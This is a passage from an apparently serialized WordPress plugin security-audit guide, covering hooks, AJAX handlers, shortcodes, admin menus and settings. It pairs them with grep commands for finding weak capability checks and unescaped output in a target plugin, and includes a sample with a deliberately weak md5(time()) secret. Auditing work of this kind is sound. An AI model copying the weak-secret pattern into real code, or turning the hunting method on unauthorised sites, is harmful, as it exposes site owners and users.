admin-ajax.php!)\n});\n\n\u002F\u002F wp_loaded: After WordPress is fully loaded\nadd_action( 'wp_loaded', function() {\n    \u002F\u002F After functions.php, plugins all loaded\n});\n\n\u002F\u002F rest_api_init: REST API specific\nadd_action( 'rest_api_init', function() {\n    \u002F\u002F Register REST routes\n    register_rest_route( ... );\n});\n",[33,20415,20416,20421,20426,20431,20436,20440,20444,20449,20453,20458,20463,20467,20471,20476,20481,20486,20491,20495,20499,20504,20509,20514,20518,20522,20527,20531,20536,20541],{"__ignoreMap":31},[36,20417,20418],{"class":38,"line":39},[36,20419,20420],{},"\u002F\u002F plugins_loaded: Earliest reliable hook after plugins are active\n",[36,20422,20423],{"class":38,"line":46},[36,20424,20425],{},"add_action( 'plugins_loaded', function() {\n",[36,20427,20428],{"class":38,"line":57},[36,20429,20430],{},"    \u002F\u002F Plugin classes and functions available\n",[36,20432,20433],{"class":38,"line":64},[36,20434,20435],{},"    \u002F\u002F Good place to register REST routes, check for activation, etc.\n",[36,20437,20438],{"class":38,"line":70},[36,20439,300],{},[36,20441,20442],{"class":38,"line":78},[36,20443,61],{"emptyLinePlaceholder":60},[36,20445,20446],{"class":38,"line":83},[36,20447,20448],{},"\u002F\u002F init: Most common hook for registrations\n",[36,20450,20451],{"class":38,"line":89},[36,20452,18708],{},[36,20454,20455],{"class":38,"line":115},[36,20456,20457],{},"    \u002F\u002F AJAX handlers, shortcodes, rewrite rules\n",[36,20459,20460],{"class":38,"line":133},[36,20461,20462],{},"    \u002F\u002F Note: is_user_logged_in() is available here\n",[36,20464,20465],{"class":38,"line":138},[36,20466,300],{},[36,20468,20469],{"class":38,"line":144},[36,20470,61],{"emptyLinePlaceholder":60},[36,20472,20473],{"class":38,"line":158},[36,20474,20475],{},"\u002F\u002F admin_init: Admin-only initialization\n",[36,20477,20478],{"class":38,"line":255},[36,20479,20480],{},"add_action( 'admin_init', function() {\n",[36,20482,20483],{"class":38,"line":261},[36,20484,20485],{},"    \u002F\u002F Register settings, handle form submissions\n",[36,20487,20488],{"class":38,"line":267},[36,20489,20490],{},"    \u002F\u002F Only runs on admin pages (including admin-ajax.php!)\n",[36,20492,20493],{"class":38,"line":273},[36,20494,300],{},[36,20496,20497],{"class":38,"line":279},[36,20498,61],{"emptyLinePlaceholder":60},[36,20500,20501],{"class":38,"line":285},[36,20502,20503],{},"\u002F\u002F wp_loaded: After WordPress is fully loaded\n",[36,20505,20506],{"class":38,"line":291},[36,20507,20508],{},"add_action( 'wp_loaded', function() {\n",[36,20510,20511],{"class":38,"line":297},[36,20512,20513],{},"    \u002F\u002F After functions.php, plugins all loaded\n",[36,20515,20516],{"class":38,"line":303},[36,20517,300],{},[36,20519,20520],{"class":38,"line":308},[36,20521,61],{"emptyLinePlaceholder":60},[36,20523,20524],{"class":38,"line":314},[36,20525,20526],{},"\u002F\u002F rest_api_init: REST API specific\n",[36,20528,20529],{"class":38,"line":320},[36,20530,191],{},[36,20532,20533],{"class":38,"line":326},[36,20534,20535],{},"    \u002F\u002F Register REST routes\n",[36,20537,20538],{"class":38,"line":331},[36,20539,20540],{},"    register_rest_route( ... );\n",[36,20542,20543],{"class":38,"line":337},[36,20544,300],{},[18,20546,20548],{"id":20547},"activation-deactivation-and-uninstall-hooks","Activation, Deactivation, and Uninstall Hooks",[14,20550,20551],{},"These hooks run during plugin lifecycle events and commonly contain security issues:",[26,20553,20555],{"className":177,"code":20554,"language":179,"meta":31,"style":31},"\u002F\u002F Activation: runs when plugin is first activated\nregister_activation_hook( __FILE__, 'my_plugin_activate' );\nfunction my_plugin_activate() {\n    \u002F\u002F Common security issues here:\n    \u002F\u002F - Creates database tables without proper schema\n    \u002F\u002F - Sets up default options with weak values\n    \u002F\u002F - Creates admin accounts\n    \u002F\u002F - Writes files to filesystem\n    \n    global $wpdb;\n    $wpdb->query( \"CREATE TABLE IF NOT EXISTS {$wpdb->prefix}my_table (\n        id int NOT NULL AUTO_INCREMENT,\n        data text,\n        PRIMARY KEY (id)\n    )\" );\n    \n    add_option( 'my_plugin_setup_key', md5( time() ) ); \u002F\u002F Weak secret!\n}\n\n\u002F\u002F Deactivation\nregister_deactivation_hook( __FILE__, 'my_plugin_deactivate' );\n\n\u002F\u002F Uninstall: runs when plugin is deleted\nregister_uninstall_hook( __FILE__, 'my_plugin_uninstall' );\n\u002F\u002F OR via uninstall.php file in plugin directory\n",[33,20556,20557,20562,20567,20572,20577,20582,20587,20592,20597,20601,20605,20610,20615,20620,20625,20630,20634,20639,20643,20647,20652,20657,20661,20666,20671],{"__ignoreMap":31},[36,20558,20559],{"class":38,"line":39},[36,20560,20561],{},"\u002F\u002F Activation: runs when plugin is first activated\n",[36,20563,20564],{"class":38,"line":46},[36,20565,20566],{},"register_activation_hook( __FILE__, 'my_plugin_activate' );\n",[36,20568,20569],{"class":38,"line":57},[36,20570,20571],{},"function my_plugin_activate() {\n",[36,20573,20574],{"class":38,"line":64},[36,20575,20576],{},"    \u002F\u002F Common security issues here:\n",[36,20578,20579],{"class":38,"line":70},[36,20580,20581],{},"    \u002F\u002F - Creates database tables without proper schema\n",[36,20583,20584],{"class":38,"line":78},[36,20585,20586],{},"    \u002F\u002F - Sets up default options with weak values\n",[36,20588,20589],{"class":38,"line":83},[36,20590,20591],{},"    \u002F\u002F - Creates admin accounts\n",[36,20593,20594],{"class":38,"line":89},[36,20595,20596],{},"    \u002F\u002F - Writes files to filesystem\n",[36,20598,20599],{"class":38,"line":115},[36,20600,16191],{},[36,20602,20603],{"class":38,"line":133},[36,20604,1040],{},[36,20606,20607],{"class":38,"line":138},[36,20608,20609],{},"    $wpdb->query( \"CREATE TABLE IF NOT EXISTS {$wpdb->prefix}my_table (\n",[36,20611,20612],{"class":38,"line":144},[36,20613,20614],{},"        id int NOT NULL AUTO_INCREMENT,\n",[36,20616,20617],{"class":38,"line":158},[36,20618,20619],{},"        data text,\n",[36,20621,20622],{"class":38,"line":255},[36,20623,20624],{},"        PRIMARY KEY (id)\n",[36,20626,20627],{"class":38,"line":261},[36,20628,20629],{},"    )\" );\n",[36,20631,20632],{"class":38,"line":267},[36,20633,16191],{},[36,20635,20636],{"class":38,"line":273},[36,20637,20638],{},"    add_option( 'my_plugin_setup_key', md5( time() ) ); \u002F\u002F Weak secret!\n",[36,20640,20641],{"class":38,"line":279},[36,20642,323],{},[36,20644,20645],{"class":38,"line":285},[36,20646,61],{"emptyLinePlaceholder":60},[36,20648,20649],{"class":38,"line":291},[36,20650,20651],{},"\u002F\u002F Deactivation\n",[36,20653,20654],{"class":38,"line":297},[36,20655,20656],{},"register_deactivation_hook( __FILE__, 'my_plugin_deactivate' );\n",[36,20658,20659],{"class":38,"line":303},[36,20660,61],{"emptyLinePlaceholder":60},[36,20662,20663],{"class":38,"line":308},[36,20664,20665],{},"\u002F\u002F Uninstall: runs when plugin is deleted\n",[36,20667,20668],{"class":38,"line":314},[36,20669,20670],{},"register_uninstall_hook( __FILE__, 'my_plugin_uninstall' );\n",[36,20672,20673],{"class":38,"line":320},[36,20674,20675],{},"\u002F\u002F OR via uninstall.php file in plugin directory\n",[26,20677,20679],{"className":28,"code":20678,"language":30,"meta":31,"style":31},"# Find activation hooks (often set up backdoors or weak secrets)\ngrep -rn \"register_activation_hook\\|activation_hook\" \\\n  \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002F --include=\"*.php\" -n\n\n# Find what happens in activation\ngrep -rn \"function.*activate\\|function.*install\\|function.*setup\" \\\n  \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftarget-plugin\u002F --include=\"*.php\" -n\n",[33,20680,20681,20686,20697,20707,20711,20716,20727],{"__ignoreMap":31},[36,20682,20683],{"class":38,"line":39},[36,20684,20685],{"class":42},"# Find activation hooks (often set up backdoors or weak secrets)\n",[36,20687,20688,20690,20692,20695],{"class":38,"line":46},[36,20689,490],{"class":49},[36,20691,493],{"class":95},[36,20693,20694],{"class":53}," \"register_activation_hook\\|activation_hook\"",[36,20696,155],{"class":95},[36,20698,20699,20701,20703,20705],{"class":38,"line":57},[36,20700,13496],{"class":53},[36,20702,502],{"class":95},[36,20704,540],{"class":53},[36,20706,2906],{"class":95},[36,20708,20709],{"class":38,"line":64},[36,20710,61],{"emptyLinePlaceholder":60},[36,20712,20713],{"class":38,"line":70},[36,20714,20715],{"class":42},"# Find what happens in activation\n",[36,20717,20718,20720,20722,20725],{"class":38,"line":78},[36,20719,490],{"class":49},[36,20721,493],{"class":95},[36,20723,20724],{"class":53}," \"function.*activate\\|function.*install\\|function.*setup\"",[36,20726,155],{"class":95},[36,20728,20729,20732,20734,20736],{"class":38,"line":83},[36,20730,20731],{"class":53},"  \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftarget-plugin\u002F",[36,20733,502],{"class":95},[36,20735,540],{"class":53},[36,20737,2906],{"class":95},[18,20739,20741],{"id":20740},"how-plugins-register-features","How Plugins Register Features",[684,20743,20745],{"id":20744},"ajax-handler-registration-pattern","AJAX Handler Registration Pattern",[26,20747,20749],{"className":177,"code":20748,"language":179,"meta":31,"style":31},"class My_Plugin_Ajax {\n    \n    public function __construct() {\n        \u002F\u002F All AJAX registrations in constructor or init\n        add_action( 'wp_ajax_my_action',        [$this, 'handle_my_action'] );\n        add_action( 'wp_ajax_nopriv_my_action', [$this, 'handle_my_action'] );\n        add_action( 'wp_ajax_my_admin_action',  [$this, 'handle_admin_action'] );\n    }\n    \n    public function handle_my_action() {\n        check_ajax_referer( 'my_nonce_action', 'nonce' );\n        \u002F\u002F ...\n        wp_die();\n    }\n}\n",[33,20750,20751,20756,20760,20765,20770,20775,20780,20785,20789,20793,20798,20803,20808,20813,20817],{"__ignoreMap":31},[36,20752,20753],{"class":38,"line":39},[36,20754,20755],{},"class My_Plugin_Ajax {\n",[36,20757,20758],{"class":38,"line":46},[36,20759,16191],{},[36,20761,20762],{"class":38,"line":57},[36,20763,20764],{},"    public function __construct() {\n",[36,20766,20767],{"class":38,"line":64},[36,20768,20769],{},"        \u002F\u002F All AJAX registrations in constructor or init\n",[36,20771,20772],{"class":38,"line":70},[36,20773,20774],{},"        add_action( 'wp_ajax_my_action',        [$this, 'handle_my_action'] );\n",[36,20776,20777],{"class":38,"line":78},[36,20778,20779],{},"        add_action( 'wp_ajax_nopriv_my_action', [$this, 'handle_my_action'] );\n",[36,20781,20782],{"class":38,"line":83},[36,20783,20784],{},"        add_action( 'wp_ajax_my_admin_action',  [$this, 'handle_admin_action'] );\n",[36,20786,20787],{"class":38,"line":89},[36,20788,1622],{},[36,20790,20791],{"class":38,"line":115},[36,20792,16191],{},[36,20794,20795],{"class":38,"line":133},[36,20796,20797],{},"    public function handle_my_action() {\n",[36,20799,20800],{"class":38,"line":138},[36,20801,20802],{},"        check_ajax_referer( 'my_nonce_action', 'nonce' );\n",[36,20804,20805],{"class":38,"line":144},[36,20806,20807],{},"        \u002F\u002F ...\n",[36,20809,20810],{"class":38,"line":158},[36,20811,20812],{},"        wp_die();\n",[36,20814,20815],{"class":38,"line":255},[36,20816,1622],{},[36,20818,20819],{"class":38,"line":261},[36,20820,323],{},[26,20822,20824],{"className":28,"code":20823,"language":30,"meta":31,"style":31},"# Find AJAX handlers in class-based plugins (common pattern)\ngrep -rn \"add_action.*wp_ajax\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftarget-plugin\u002F \\\n  --include=\"*.php\" -n\n\n# Find handler methods (array callback syntax)\ngrep -rP \"add_action\\s*\\(\\s*['\\\"]wp_ajax_[^'\\\"]+['\\\"],\\s*\\[\" \\\n  \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftarget-plugin\u002F --include=\"*.php\" -n\n\n# Also covers string callbacks\ngrep -rP \"add_action\\s*\\(\\s*['\\\"]wp_ajax_[^'\\\"]+['\\\"],\\s*'[^']+'\" \\\n  \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftarget-plugin\u002F --include=\"*.php\" -n\n",[33,20825,20826,20831,20845,20853,20857,20862,20885,20895,20899,20904,20927],{"__ignoreMap":31},[36,20827,20828],{"class":38,"line":39},[36,20829,20830],{"class":42},"# Find AJAX handlers in class-based plugins (common pattern)\n",[36,20832,20833,20835,20837,20840,20843],{"class":38,"line":46},[36,20834,490],{"class":49},[36,20836,493],{"class":95},[36,20838,20839],{"class":53}," \"add_action.*wp_ajax\"",[36,20841,20842],{"class":53}," \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftarget-plugin\u002F",[36,20844,155],{"class":95},[36,20846,20847,20849,20851],{"class":38,"line":57},[36,20848,586],{"class":95},[36,20850,540],{"class":53},[36,20852,2906],{"class":95},[36,20854,20855],{"class":38,"line":64},[36,20856,61],{"emptyLinePlaceholder":60},[36,20858,20859],{"class":38,"line":70},[36,20860,20861],{"class":42},"# Find handler methods (array callback syntax)\n",[36,20863,20864,20866,20868,20870,20872,20874,20876,20878,20880,20883],{"class":38,"line":78},[36,20865,490],{"class":49},[36,20867,574],{"class":95},[36,20869,2950],{"class":53},[36,20871,1498],{"class":95},[36,20873,3086],{"class":53},[36,20875,1498],{"class":95},[36,20877,3091],{"class":53},[36,20879,1498],{"class":95},[36,20881,20882],{"class":53},"],\\s*\\[\"",[36,20884,155],{"class":95},[36,20886,20887,20889,20891,20893],{"class":38,"line":83},[36,20888,20731],{"class":53},[36,20890,502],{"class":95},[36,20892,540],{"class":53},[36,20894,2906],{"class":95},[36,20896,20897],{"class":38,"line":89},[36,20898,61],{"emptyLinePlaceholder":60},[36,20900,20901],{"class":38,"line":115},[36,20902,20903],{"class":42},"# Also covers string callbacks\n",[36,20905,20906,20908,20910,20912,20914,20916,20918,20920,20922,20925],{"class":38,"line":133},[36,20907,490],{"class":49},[36,20909,574],{"class":95},[36,20911,2950],{"class":53},[36,20913,1498],{"class":95},[36,20915,3086],{"class":53},[36,20917,1498],{"class":95},[36,20919,3091],{"class":53},[36,20921,1498],{"class":95},[36,20923,20924],{"class":53},"],\\s*'[^']+'\"",[36,20926,155],{"class":95},[36,20928,20929,20931,20933,20935],{"class":38,"line":138},[36,20930,20731],{"class":53},[36,20932,502],{"class":95},[36,20934,540],{"class":53},[36,20936,2906],{"class":95},[684,20938,20940],{"id":20939},"shortcode-registration","Shortcode Registration",[26,20942,20944],{"className":177,"code":20943,"language":179,"meta":31,"style":31},"add_shortcode( 'my_shortcode', 'my_shortcode_callback' );\n\u002F\u002F Or class method:\nadd_shortcode( 'my_shortcode', [$this, 'render_shortcode'] );\n\nfunction my_shortcode_callback( $atts, $content = null ) {\n    $atts = shortcode_atts([\n        'id'    => 0,\n        'style' => 'default',\n    ], $atts, 'my_shortcode' );\n    \n    return '\u003Cdiv>' . esc_html( $content ) . '\u003C\u002Fdiv>';\n}\n",[33,20945,20946,20951,20956,20961,20965,20970,20974,20979,20984,20989,20993,20998],{"__ignoreMap":31},[36,20947,20948],{"class":38,"line":39},[36,20949,20950],{},"add_shortcode( 'my_shortcode', 'my_shortcode_callback' );\n",[36,20952,20953],{"class":38,"line":46},[36,20954,20955],{},"\u002F\u002F Or class method:\n",[36,20957,20958],{"class":38,"line":57},[36,20959,20960],{},"add_shortcode( 'my_shortcode', [$this, 'render_shortcode'] );\n",[36,20962,20963],{"class":38,"line":64},[36,20964,61],{"emptyLinePlaceholder":60},[36,20966,20967],{"class":38,"line":70},[36,20968,20969],{},"function my_shortcode_callback( $atts, $content = null ) {\n",[36,20971,20972],{"class":38,"line":78},[36,20973,18576],{},[36,20975,20976],{"class":38,"line":83},[36,20977,20978],{},"        'id'    => 0,\n",[36,20980,20981],{"class":38,"line":89},[36,20982,20983],{},"        'style' => 'default',\n",[36,20985,20986],{"class":38,"line":115},[36,20987,20988],{},"    ], $atts, 'my_shortcode' );\n",[36,20990,20991],{"class":38,"line":133},[36,20992,16191],{},[36,20994,20995],{"class":38,"line":138},[36,20996,20997],{},"    return '\u003Cdiv>' . esc_html( $content ) . '\u003C\u002Fdiv>';\n",[36,20999,21000],{"class":38,"line":144},[36,21001,323],{},[26,21003,21005],{"className":28,"code":21004,"language":30,"meta":31,"style":31},"# Find all shortcodes\ngrep -rn \"add_shortcode\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002F --include=\"*.php\" -n\n\n# Find shortcodes without proper escaping\ngrep -rn \"add_shortcode\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftarget-plugin\u002F \\\n  --include=\"*.php\" -A 30 | grep -v \"esc_\\|absint\\|intval\\|sanitize_\" | \\\n  grep \"echo\\|return.*\\$atts\"\n",[33,21006,21007,21012,21028,21032,21037,21049,21072],{"__ignoreMap":31},[36,21008,21009],{"class":38,"line":39},[36,21010,21011],{"class":42},"# Find all shortcodes\n",[36,21013,21014,21016,21018,21020,21022,21024,21026],{"class":38,"line":46},[36,21015,490],{"class":49},[36,21017,493],{"class":95},[36,21019,7227],{"class":53},[36,21021,499],{"class":53},[36,21023,502],{"class":95},[36,21025,540],{"class":53},[36,21027,2906],{"class":95},[36,21029,21030],{"class":38,"line":57},[36,21031,61],{"emptyLinePlaceholder":60},[36,21033,21034],{"class":38,"line":64},[36,21035,21036],{"class":42},"# Find shortcodes without proper escaping\n",[36,21038,21039,21041,21043,21045,21047],{"class":38,"line":70},[36,21040,490],{"class":49},[36,21042,493],{"class":95},[36,21044,7227],{"class":53},[36,21046,20842],{"class":53},[36,21048,155],{"class":95},[36,21050,21051,21053,21055,21057,21059,21061,21063,21065,21068,21070],{"class":38,"line":78},[36,21052,586],{"class":95},[36,21054,540],{"class":53},[36,21056,2508],{"class":95},[36,21058,4788],{"class":95},[36,21060,103],{"class":102},[36,21062,617],{"class":49},[36,21064,555],{"class":95},[36,21066,21067],{"class":53}," \"esc_\\|absint\\|intval\\|sanitize_\"",[36,21069,103],{"class":102},[36,21071,155],{"class":95},[36,21073,21074,21076,21079,21081],{"class":38,"line":83},[36,21075,552],{"class":49},[36,21077,21078],{"class":53}," \"echo\\|return.*",[36,21080,4591],{"class":95},[36,21082,21083],{"class":53},"atts\"\n",[684,21085,21087],{"id":21086},"admin-menu-registration","Admin Menu Registration",[26,21089,21091],{"className":177,"code":21090,"language":179,"meta":31,"style":31},"add_action( 'admin_menu', function() {\n    add_menu_page(\n        'My Plugin Settings', \u002F\u002F Page title\n        'My Plugin',          \u002F\u002F Menu title  \n        'manage_options',     \u002F\u002F Required capability\n        'my-plugin',          \u002F\u002F Menu slug\n        'my_plugin_page',     \u002F\u002F Callback function\n        'dashicons-admin-generic',\n        65\n    );\n    \n    add_submenu_page(\n        'my-plugin',\n        'Advanced Settings',\n        'Advanced',\n        'manage_options',      \u002F\u002F Check what capability is required\n        'my-plugin-advanced',\n        'my_plugin_advanced_page'\n    );\n});\n",[33,21092,21093,21098,21103,21111,21119,21127,21135,21143,21148,21153,21157,21161,21166,21171,21176,21181,21188,21193,21198,21202],{"__ignoreMap":31},[36,21094,21095],{"class":38,"line":39},[36,21096,21097],{},"add_action( 'admin_menu', function() {\n",[36,21099,21100],{"class":38,"line":46},[36,21101,21102],{},"    add_menu_page(\n",[36,21104,21105,21108],{"class":38,"line":57},[36,21106,21107],{},"        'My Plugin Settings',",[36,21109,21110],{}," \u002F\u002F Page title\n",[36,21112,21113,21116],{"class":38,"line":64},[36,21114,21115],{},"        'My Plugin',",[36,21117,21118],{},"          \u002F\u002F Menu title  \n",[36,21120,21121,21124],{"class":38,"line":70},[36,21122,21123],{},"        'manage_options',",[36,21125,21126],{},"     \u002F\u002F Required capability\n",[36,21128,21129,21132],{"class":38,"line":78},[36,21130,21131],{},"        'my-plugin',",[36,21133,21134],{},"          \u002F\u002F Menu slug\n",[36,21136,21137,21140],{"class":38,"line":83},[36,21138,21139],{},"        'my_plugin_page',",[36,21141,21142],{},"     \u002F\u002F Callback function\n",[36,21144,21145],{"class":38,"line":89},[36,21146,21147],{},"        'dashicons-admin-generic',\n",[36,21149,21150],{"class":38,"line":115},[36,21151,21152],{},"        65\n",[36,21154,21155],{"class":38,"line":133},[36,21156,294],{},[36,21158,21159],{"class":38,"line":138},[36,21160,16191],{},[36,21162,21163],{"class":38,"line":144},[36,21164,21165],{},"    add_submenu_page(\n",[36,21167,21168],{"class":38,"line":158},[36,21169,21170],{},"        'my-plugin',\n",[36,21172,21173],{"class":38,"line":255},[36,21174,21175],{},"        'Advanced Settings',\n",[36,21177,21178],{"class":38,"line":261},[36,21179,21180],{},"        'Advanced',\n",[36,21182,21183,21185],{"class":38,"line":267},[36,21184,21123],{},[36,21186,21187],{},"      \u002F\u002F Check what capability is required\n",[36,21189,21190],{"class":38,"line":273},[36,21191,21192],{},"        'my-plugin-advanced',\n",[36,21194,21195],{"class":38,"line":279},[36,21196,21197],{},"        'my_plugin_advanced_page'\n",[36,21199,21200],{"class":38,"line":285},[36,21201,294],{},[36,21203,21204],{"class":38,"line":291},[36,21205,300],{},[26,21207,21209],{"className":28,"code":21208,"language":30,"meta":31,"style":31},"# Find admin page registrations and their required capabilities\ngrep -rn \"add_menu_page\\|add_submenu_page\\|add_options_page\\|add_management_page\" \\\n  \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftarget-plugin\u002F --include=\"*.php\" -n\n\n# Find pages with weak capability requirements\ngrep -rn \"add_menu_page\\|add_submenu_page\" \\\n  \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftarget-plugin\u002F --include=\"*.php\" | \\\n  grep -v \"manage_options\\|activate_plugins\\|install_plugins\"\n",[33,21210,21211,21216,21227,21237,21241,21246,21257,21269],{"__ignoreMap":31},[36,21212,21213],{"class":38,"line":39},[36,21214,21215],{"class":42},"# Find admin page registrations and their required capabilities\n",[36,21217,21218,21220,21222,21225],{"class":38,"line":46},[36,21219,490],{"class":49},[36,21221,493],{"class":95},[36,21223,21224],{"class":53}," \"add_menu_page\\|add_submenu_page\\|add_options_page\\|add_management_page\"",[36,21226,155],{"class":95},[36,21228,21229,21231,21233,21235],{"class":38,"line":57},[36,21230,20731],{"class":53},[36,21232,502],{"class":95},[36,21234,540],{"class":53},[36,21236,2906],{"class":95},[36,21238,21239],{"class":38,"line":64},[36,21240,61],{"emptyLinePlaceholder":60},[36,21242,21243],{"class":38,"line":70},[36,21244,21245],{"class":42},"# Find pages with weak capability requirements\n",[36,21247,21248,21250,21252,21255],{"class":38,"line":78},[36,21249,490],{"class":49},[36,21251,493],{"class":95},[36,21253,21254],{"class":53}," \"add_menu_page\\|add_submenu_page\"",[36,21256,155],{"class":95},[36,21258,21259,21261,21263,21265,21267],{"class":38,"line":83},[36,21260,20731],{"class":53},[36,21262,502],{"class":95},[36,21264,540],{"class":53},[36,21266,103],{"class":102},[36,21268,155],{"class":95},[36,21270,21271,21273,21275],{"class":38,"line":89},[36,21272,552],{"class":49},[36,21274,555],{"class":95},[36,21276,21277],{"class":53}," \"manage_options\\|activate_plugins\\|install_plugins\"\n",[684,21279,21281],{"id":21280},"settings-api-registration","Settings API Registration",[26,21283,21285],{"className":177,"code":21284,"language":179,"meta":31,"style":31},"add_action( 'admin_init', function() {\n    register_setting(\n        'my_plugin_options',          \u002F\u002F Option group\n        'my_plugin_setting',          \u002F\u002F Option name\n        [\n            'sanitize_callback' => 'sanitize_text_field',\n            'type'              => 'string',\n            'default'           => '',\n        ]\n    );\n});\n",[33,21286,21287,21291,21296,21304,21312,21316,21320,21325,21330,21334,21338],{"__ignoreMap":31},[36,21288,21289],{"class":38,"line":39},[36,21290,20480],{},[36,21292,21293],{"class":38,"line":46},[36,21294,21295],{},"    register_setting(\n",[36,21297,21298,21301],{"class":38,"line":57},[36,21299,21300],{},"        'my_plugin_options',",[36,21302,21303],{},"          \u002F\u002F Option group\n",[36,21305,21306,21309],{"class":38,"line":64},[36,21307,21308],{},"        'my_plugin_setting',",[36,21310,21311],{},"          \u002F\u002F Option name\n",[36,21313,21314],{"class":38,"line":70},[36,21315,217],{},[36,21317,21318],{"class":38,"line":78},[36,21319,1761],{},[36,21321,21322],{"class":38,"line":83},[36,21323,21324],{},"            'type'              => 'string',\n",[36,21326,21327],{"class":38,"line":89},[36,21328,21329],{},"            'default'           => '',\n",[36,21331,21332],{"class":38,"line":115},[36,21333,288],{},[36,21335,21336],{"class":38,"line":133},[36,21337,294],{},[36,21339,21340],{"class":38,"line":138},[36,21341,300],{},[26,21343,21345],{"className":28,"code":21344,"language":30,"meta":31,"style":31},"# Find settings registration (check sanitize_callback)\ngrep -rn \"register_setting\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftarget-plugin\u002F \\\n  --include=\"*.php\" -A10 | grep -A10 \"register_setting\"\n",[33,21346,21347,21352,21365],{"__ignoreMap":31},[36,21348,21349],{"class":38,"line":39},[36,21350,21351],{"class":42},"# Find settings registration (check sanitize_callback)\n",[36,21353,21354,21356,21358,21361,21363],{"class":38,"line":46},[36,21355,490],{"class":49},[36,21357,493],{"class":95},[36,21359,21360],{"class":53}," \"register_setting\"",[36,21362,20842],{"class":53},[36,21364,155],{"class":95},[36,21366,21367,21369,21371,21373,21375,21377,21379],{"class":38,"line":57},[36,21368,586],{"class":95},[36,21370,540],{"class":53},[36,21372,543],{"class":95},[36,21374,103],{"class":102},[36,21376,617],{"class":49},[36,21378,543],{"class":95},[36,21380,21381],{"class":53}," \"register_setting\"\n",[18,21383,21385],{"id":21384},"efficient-audit-methodology","Efficient Audit Methodology",[684,21387,21389],{"id":21388},"step-1-get-the-lay-of-the-land","Step 1: Get the Lay of the Land",[26,21391,21393],{"className":28,"code":21392,"language":30,"meta":31,"style":31},"PLUGIN_DIR=\"\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftarget-plugin\"\nPLUGIN_VERSION=\"1.2.3\"\n\n# Count files and size\nfind \"$PLUGIN_DIR\" -name \"*.php\" | wc -l\nfind \"$PLUGIN_DIR\" -name \"*.php\" -exec wc -l {} + | tail -1\n\n# Find the main plugin file\ngrep -rln \"Plugin Name:\" \"$PLUGIN_DIR\" --include=\"*.php\"\n\n# List all PHP files by size (largest first - most code)\nfind \"$PLUGIN_DIR\" -name \"*.php\" -exec wc -l {} + | sort -rn | head -20\n\n# Understand the class structure\ngrep -rn \"^class \" \"$PLUGIN_DIR\" --include=\"*.php\" -n\n",[33,21394,21395,21403,21413,21417,21422,21447,21481,21485,21490,21509,21513,21518,21554,21558,21563],{"__ignoreMap":31},[36,21396,21397,21399,21401],{"class":38,"line":39},[36,21398,2415],{"class":605},[36,21400,1220],{"class":102},[36,21402,2420],{"class":53},[36,21404,21405,21408,21410],{"class":38,"line":46},[36,21406,21407],{"class":605},"PLUGIN_VERSION",[36,21409,1220],{"class":102},[36,21411,21412],{"class":53},"\"1.2.3\"\n",[36,21414,21415],{"class":38,"line":57},[36,21416,61],{"emptyLinePlaceholder":60},[36,21418,21419],{"class":38,"line":64},[36,21420,21421],{"class":42},"# Count files and size\n",[36,21423,21424,21427,21429,21431,21433,21436,21439,21441,21444],{"class":38,"line":70},[36,21425,21426],{"class":49},"find",[36,21428,625],{"class":53},[36,21430,2442],{"class":605},[36,21432,631],{"class":53},[36,21434,21435],{"class":95}," -name",[36,21437,21438],{"class":53}," \"*.php\"",[36,21440,103],{"class":102},[36,21442,21443],{"class":49}," wc",[36,21445,21446],{"class":95}," -l\n",[36,21448,21449,21451,21453,21455,21457,21459,21461,21464,21466,21468,21471,21473,21475,21478],{"class":38,"line":78},[36,21450,21426],{"class":49},[36,21452,625],{"class":53},[36,21454,2442],{"class":605},[36,21456,631],{"class":53},[36,21458,21435],{"class":95},[36,21460,21438],{"class":53},[36,21462,21463],{"class":95}," -exec",[36,21465,21443],{"class":53},[36,21467,591],{"class":95},[36,21469,21470],{"class":53}," {}",[36,21472,11640],{"class":53},[36,21474,103],{"class":102},[36,21476,21477],{"class":49}," tail",[36,21479,21480],{"class":95}," -1\n",[36,21482,21483],{"class":38,"line":83},[36,21484,61],{"emptyLinePlaceholder":60},[36,21486,21487],{"class":38,"line":89},[36,21488,21489],{"class":42},"# Find the main plugin file\n",[36,21491,21492,21494,21496,21499,21501,21503,21505,21507],{"class":38,"line":115},[36,21493,490],{"class":49},[36,21495,6431],{"class":95},[36,21497,21498],{"class":53}," \"Plugin Name:\"",[36,21500,625],{"class":53},[36,21502,2442],{"class":605},[36,21504,631],{"class":53},[36,21506,502],{"class":95},[36,21508,505],{"class":53},[36,21510,21511],{"class":38,"line":133},[36,21512,61],{"emptyLinePlaceholder":60},[36,21514,21515],{"class":38,"line":138},[36,21516,21517],{"class":42},"# List all PHP files by size (largest first - most code)\n",[36,21519,21520,21522,21524,21526,21528,21530,21532,21534,21536,21538,21540,21542,21544,21546,21548,21550,21552],{"class":38,"line":144},[36,21521,21426],{"class":49},[36,21523,625],{"class":53},[36,21525,2442],{"class":605},[36,21527,631],{"class":53},[36,21529,21435],{"class":95},[36,21531,21438],{"class":53},[36,21533,21463],{"class":95},[36,21535,21443],{"class":53},[36,21537,591],{"class":95},[36,21539,21470],{"class":53},[36,21541,11640],{"class":53},[36,21543,103],{"class":102},[36,21545,4330],{"class":49},[36,21547,493],{"class":95},[36,21549,103],{"class":102},[36,21551,5296],{"class":49},[36,21553,7237],{"class":95},[36,21555,21556],{"class":38,"line":158},[36,21557,61],{"emptyLinePlaceholder":60},[36,21559,21560],{"class":38,"line":255},[36,21561,21562],{"class":42},"# Understand the class 